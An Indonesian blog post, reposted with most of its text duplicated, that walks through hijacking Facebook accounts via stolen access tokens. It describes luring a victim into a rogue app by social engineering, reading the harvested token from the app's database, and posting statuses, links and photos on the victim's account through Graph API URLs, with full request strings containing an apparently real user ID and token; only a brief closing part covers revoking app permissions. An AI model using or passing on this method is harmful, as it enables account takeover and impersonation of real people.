Walaupun udah banyak yang share tapi saya share juga di blog ini karena banyak yg belum mengetahui bahaya acces token silahkan langsung aja
Apa itu Access Token ?
Access Token merupakan struktur data yang berisi informasi keamanan yang dibutuhkan oleh sebuah proses untuk mengakses objek (dalam hal ini akun Facebook) atau proses lainnya yang membutuhkan otorisasi.
Dari mana Access Token tercipta ?
Seperti yang kita ketahui bersama, Facebook memiliki ribuan bahkan mungkin jutaan apps (aplikasi) untuk memanjakan penggunanya. Dari setiap penggunaan apps tersebutlah Access Token tercipta. Setiap Access Token akan tersimpan pada server hostingan pembuat aplikasi Facebook.
Kenapa dikatakan Access Token berbahaya ?
Apabila Access Token akun Facebook anda diketahui oleh orang yang tidak bertanggung jawab maka orang tersebut dapat meng-update-kan status Facebook anda, mem-posting link dan dapat pula memasukkan foto/gambar tanpa perlu melakukan login ke akun Facebook anda. Mungkin diantara kita pernah mendengar beberapa kasus pengguna Facebook berurusan dengan pihak Kepolisian bahkan sampai ke depan meja hijau akibat dari status Facebook-nya.
Bagaimana proses kerjanya ?
Di sini saya akan mempraktekkan proses kerjanya, bukan mengajarkan. Dan di akhir penjelasan nanti akan dijelaskan bagaimana cara untuk menghindarinya. Baiklah, mari kita mulai.
Pertama – tama saya akan login ke akun Facebook saya sendiri. Antara akun Facebook saya dengan Facebook korban tidak saling berteman. (jika berteman lebih baik lagi)
Sebelumnya, saya telah membuat sebuah aplikasi sederhana di Facebook. Dengan memanfaatkan tekhnik social engineering saya memberikan link aplikasi Facebook itu kepada korban agar tergiur untuk menggunakannya. Link aplikasinya adalah
Sang korban tergiur dan menggunakan aplikasi Facebook dari saya.
Untuk lebih memastikan apakah korban sudah menggunakan aplikasi Facebook dari saya, langsung saja saya login ke cpanel lalu menuju ke phpMyAdmin.
Dan ternyata si korban telah menggunakan aplikasi Facebook dari saya. Yang ditandai kotak warna merah adalah access_token Facebook korban.
Mari kita coba untuk meng-update-kan status Facebook korban dengan sedikit “injeksi url”
Injeksi url :
https://graph.facebook.com/ID-FACEBOOK/f...KEN-KORBAN
Selanjutnya kita coba untuk mem-posting LINK ke akun Facebook korban.
Injeksi url :
https://graph.facebook.com/ID/feed?metho...KEN-KORBAN
Terakhir, saya akan memasukkan sebuah gambar ke dalam akun Facebook korban.
Injeksi url :
https://graph.facebook.com/photos?url=URL GAMBAR&method=POST&message=KALIMAT&access_token=ACCESS-TOKEN-KORBAN
Sumber : X-Coder VIP
Apa itu Access Token ?
Access Token merupakan struktur data yang berisi informasi keamanan yang dibutuhkan oleh sebuah proses untuk mengakses objek (dalam hal ini akun Facebook) atau proses lainnya yang membutuhkan otorisasi.
Dari mana Access Token tercipta ?
Seperti yang kita ketahui bersama, Facebook memiliki ribuan bahkan mungkin jutaan apps (aplikasi) untuk memanjakan penggunanya. Dari setiap penggunaan apps tersebutlah Access Token tercipta. Setiap Access Token akan tersimpan pada server hostingan pembuat aplikasi Facebook.
Kenapa dikatakan Access Token berbahaya ?
Apabila Access Token akun Facebook anda diketahui oleh orang yang tidak bertanggung jawab maka orang tersebut dapat meng-update-kan status Facebook anda, mem-posting link dan dapat pula memasukkan foto/gambar tanpa perlu melakukan login ke akun Facebook anda. Mungkin diantara kita pernah mendengar beberapa kasus pengguna Facebook berurusan dengan pihak Kepolisian bahkan sampai ke depan meja hijau akibat dari status Facebook-nya.
Bagaimana proses kerjanya ?
Di sini saya akan mempraktekkan proses kerjanya, bukan mengajarkan. Dan di akhir penjelasan nanti akan dijelaskan bagaimana cara untuk menghindarinya. Baiklah, mari kita mulai.
Pertama – tama saya akan login ke akun Facebook saya sendiri. Antara akun Facebook saya dengan Facebook korban tidak saling berteman. (jika berteman lebih baik lagi)
Sebelumnya, saya telah membuat sebuah aplikasi sederhana di Facebook. Dengan memanfaatkan tekhnik social engineering saya memberikan link aplikasi Facebook itu kepada korban agar tergiur untuk menggunakannya. Link aplikasinya adalah
PHP Code:
http://apps.facebook.com/via_apa_saja/ (Aplikasi Update Status Facebook Via Apa Saja)
Untuk lebih memastikan apakah korban sudah menggunakan aplikasi Facebook dari saya, langsung saja saya login ke cpanel lalu menuju ke phpMyAdmin.
Dan ternyata si korban telah menggunakan aplikasi Facebook dari saya. Yang ditandai kotak warna merah adalah access_token Facebook korban.
Mari kita coba untuk meng-update-kan status Facebook korban dengan sedikit “injeksi url”
Injeksi url :
https://graph.facebook.com/ID-FACEBOOK/f...KEN-KORBAN
PHP Code:
Menjadi :https://graph.facebook.com/100003787395136/feed?method=POST&message=Test update status online :lol:&access_token=AAAFc7v0ZAmt0BABm1LZCTcYcwGdwhyXhR5xVv1Srfio5lVzykK8AKy40KkZA47M47c
NL98P9IPQgqaJHd7WP2ryOU9Xf3GTyxgixpQVPgZDZD
Injeksi url :
https://graph.facebook.com/ID/feed?metho...KEN-KORBAN
PHP Code:
Menjadi :https://graph.facebook.com/100003787395136/feed?method=POST&link=http://tgdcyber.org/&message=TestpostingLINK&access_token=AAAFc7v0ZAmt0BABm1LZCTcYcwGdwhyXhR5xVv1Srfio5lVzykK8AKy40KkZA47M47cNL98P9IPQgqaJHd7WP2ryOU9Xf3GTyxgixpQVPgZ
DZD
Injeksi url :
https://graph.facebook.com/photos?url=URL GAMBAR&method=POST&message=KALIMAT&access_token=ACCESS-TOKEN-KORBAN
PHP Code:
Menjadi :https://graph.facebook.com/photos?url=http://tgdcyber.org/logo.gif&method=POST&message=TEST UPLOAD GAMBAR&access_token=AAAFc7v0ZAmt0BABm1LZCTcYcwGdwhyXhR5xVv1Srfio5lVzykK8AKy40KkZA47
M47cNL98P9IPQgqaJHd7WP2ryOU9Xf3GTyxgixpQVPgZDZD
Quote:Bagaimana cara menghindari penggunaan Access Token oleh orang yang tidak bertanggung jawab ?Cara untuk menghindarinya cukup mudah yaitu :
Masuk ke Pengaturan Privasi Aplikasi Facebook
Cari aplikasi Facebook yang mencurigakan, contoh pada demo kali ini aplikasinya bernama ACCESS_TOKEN, klik edit (sunting) pada aplikasi tersebut.
Di sini ada beberapa pilihan, perhatikan gambar di bawah
Sumber : X-Coder VIP
0 komentar:
Post a Comment